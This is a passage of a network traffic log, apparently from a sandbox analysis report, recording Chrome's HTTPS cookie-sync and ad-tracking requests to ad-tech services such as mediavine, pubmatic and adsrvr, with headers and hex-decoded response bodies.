2024-04-11 21:27:05 UTC	383	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 11 Apr 2024 21:27:05 GMT Location: /internal-cs/27053452/beacon.js Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 9750f5ee94b45ad0faba87b3fac2aad6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: 7z7_1K3onm5UmE_hYlxOpQZWYi__C7VwNYXIfP9wBPfbKrwxQleZKg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.17	50334	155.204.117.12	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	731	OUT	GET /syn?supply=58191281-0593-4689-bdaf-c7bf6638853d&uid=[insert_user_id]&redirect=[your_redirect_url_including_xxEMODO_IDxx_token]&gdpr=0&gdpr_consent= HTTP/1.1 Host: openrtb-us-east-1.axonix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	661	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.18.0 (Ubuntu) Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 99 Connection: close access-control-allow-origin: * access-control-allow-credentials: true set-cookie: ax_cx=d911f9fb-2cba-4fa1-aeab-a6b62568218a; Max-Age=2592000; Secure; SameSite=None x-emodo-server: vektor-server-production-56c5d6dfbf-dtxjh Access-Control-Allow-Methods: GET, PUT, POST, DELETE, PATCH, OPTIONS Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization Access-Control-Max-Age: 1728000
2024-04-11 21:27:05 UTC	99	IN	Data Raw: 7b 22 73 74 61 74 75 73 43 6f 64 65 22 3a 35 30 30 2c 22 63 6f 64 65 22 3a 22 45 52 52 5f 49 4e 56 41 4c 49 44 5f 55 52 4c 22 2c 22 65 72 72 6f 72 22 3a 22 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 49 6e 76 61 6c 69 64 20 55 52 4c 22 7d Data Ascii: {"statusCode":500,"code":"ERR_INVALID_URL","error":"Internal Server Error","message":"Invalid URL"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.17	50353	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	1052	OUT	GET /usersync/redirect?partner=kargo&partnerId=76e6eb3f-3d6a-4a1c-9c6e-d9faf122b0a2&s2sVersion=production&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:05 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.17	50328	35.174.179.73	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	816	OUT	GET /dsp/google/cookiematch/beacon?gdpr=0&gdpr_consent= HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
2024-04-11 21:27:05 UTC	522	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=sovrn&google_hm=SWViSEFMWkh3cEQ1Vk5LeFJYYXZTSGlM&gdpr=0 Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.17	50311	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	1406	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA
2024-04-11 21:27:05 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:05 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-04-11 21:27:05 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 75 4a 53 38 77 7a 73 76 55 4e 4e 41 4c 53 73 59 48 41 4d 63 59 4a 79 53 4a 4d 55 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.17	50354	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	1029	OUT	GET /usersync/redirect?partner=verizon&partnerId=y-UQyiIh9E2uJvF5IoIp_LflURMfQTltVc~A&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=-1 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:05 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.17	50355	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	714	OUT	GET /usersync?b=bsw&i=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:05 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.17	50341	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	1394	OUT	GET /usersync/redirect?partner=pubmatic&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:05 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.17	50297	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	515	OUT	GET /mediavine-prod/recomms/users/fc09ead0-b52e-43d4-b0cf-67a3b0dd234d/items/?frontend_timestamp=1712870820&frontend_sign=128e542a00131568b6cd8e63446b01a96c6a2411 HTTP/1.1 Host: client-rapi-mediavine.recombee.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	437	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 87 Connection: close X-Recombee-Request-Id: ef60a39ea8410cd9c1654956eb76cb76 Cache-Control: no-cache Access-Control-Allow-Headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token, Authorization Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS
2024-04-11 21:27:05 UTC	87	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 4e 75 6d 62 65 72 20 6f 66 20 72 65 63 6f 6d 6d 65 6e 64 61 74 69 6f 6e 73 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 28 6d 69 73 73 69 6e 67 20 5c 22 63 6f 75 6e 74 5c 22 20 70 61 72 61 6d 65 74 65 72 29 22 7d Data Ascii: {"message": "Number of recommendations must be provided (missing \"count\" parameter)"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.17	50315	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	671	OUT	GET /cm-notify?pi=sovrn&gdpr=0&gdpr_consent= HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978; ts=1712870820
2024-04-11 21:27:05 UTC	411	IN	HTTP/1.1 302 Found date: Thu, 11 Apr 2024 21:27:05 GMT vary: Accept-Encoding location: https://ce.lijit.com/merge?pid=86&3pid=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=sovrn&gdpr=0&gdpr_consent= cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 11 Apr 2024 21:27:05 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.17	50340	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	738	OUT	GET /track/cmf/rubicon HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFGAEgASgCMgsI1M3-xpue7TwQBTgBWgcxbWFobjE0YAI.
2024-04-11 21:27:05 UTC	624	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Length: 289 Connection: close server: Kestrel location: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent=&expires=30 set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:27:05 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFEhYKB3J1Ymljb24SCwjk3eythZ7tPBAFGAEgAigCMgsI1M3-xpue7TwQBTgBWgcxbWFobjE0YAI.; expires=Fri, 11 Apr 2025 21:27:05 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:27:05 UTC	289	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 65 78 70 69 72 65 73 3d 33 30 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 26 67 Data Ascii: Redirecting to: <a href="https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent=&expires=30">https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.17	50363	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	981	OUT	GET /sync?dsp_id=119&user_id=1992631731613135717&expires=30&ssp=the33across HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
2024-04-11 21:27:05 UTC	514	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ssc-cms.33across.com/ps/?xi=10&us_privacy=&xu=4a756380-b7e0-40d8-87fd-f9b0074cc705 Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.17	50322	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	828	OUT	GET /w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
2024-04-11 21:27:05 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.17	50312	54.205.30.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	848	OUT	GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	711	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Thu, 11 Apr 2024 21:27:04 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://pm.w55c.net/ping_match.gif?scc=1&ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-07b21b7b820a6c660@us-east-1b@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=rQ8OKBkf1RV1WN5; Domain=.w55c.net; Expires=Mon, 12 May 2025 07:27:05 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.17	50333	54.198.187.94	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
